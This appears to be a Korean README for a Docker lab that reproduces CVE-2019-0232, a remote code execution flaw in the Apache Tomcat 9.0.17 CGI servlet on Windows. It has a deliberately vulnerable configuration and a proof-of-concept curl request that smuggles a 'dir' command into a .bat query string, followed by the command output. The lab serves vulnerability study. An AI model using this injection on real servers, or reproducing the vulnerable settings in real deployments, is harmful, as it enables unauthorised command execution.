
이 저장소는 Windows에서 Apache Tomcat 9.0.17의 CVE-2019-0232 취약점을 재현하기 위한 Docker 기반 실습 환경을 제공합니다.
CVE-2019-0232는 Windows에서 실행되는 Apache Tomcat CGI 서블릿의 원격 코드 실행 취약점입니다. 이 문제는 enableCmdLineArguments 매개변수가 true로 설정된 경우 명령줄 인수가 제대로 처리되지 않아 발생합니다. 공격자는 쿼리 문자열을 통해 CGI 스크립트에 임의의 인수를 전달하여 시스템 명령을 실행할 수 있습니다.
enableCmdLineArguments=truetomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
├── apache-tomcat-9.0.17-windows-x64.zip
└── apache-tomcat-9.0.17
├── conf
│ └── context.xml ← (privileged="true")
└── webapps
└── ROOT
└── WEB-INF
├── web.xml ← (CGI configuration)
└── cgi-bin
└── test.bat ← (.bat script)
privileged="true"를 설정합니다.enableCmdLineArguments=true로 CGI 서블릿을 정의하고 /cgi-bin/*에 매핑합니다.docker-compose build --no-cache
docker-compose up -d
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"
Welcome to CGI Test Page
Volume in drive C has no label.
Volume Serial Number is 3E70-7C38
Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin
07/12/2026 11:45 AM <DIR> .
07/12/2026 11:45 AM <DIR> ..
07/12/2026 12:25 PM 78 test.bat
1 File(s) 78 bytes
2 Dir(s) 136,027,971,584 bytes free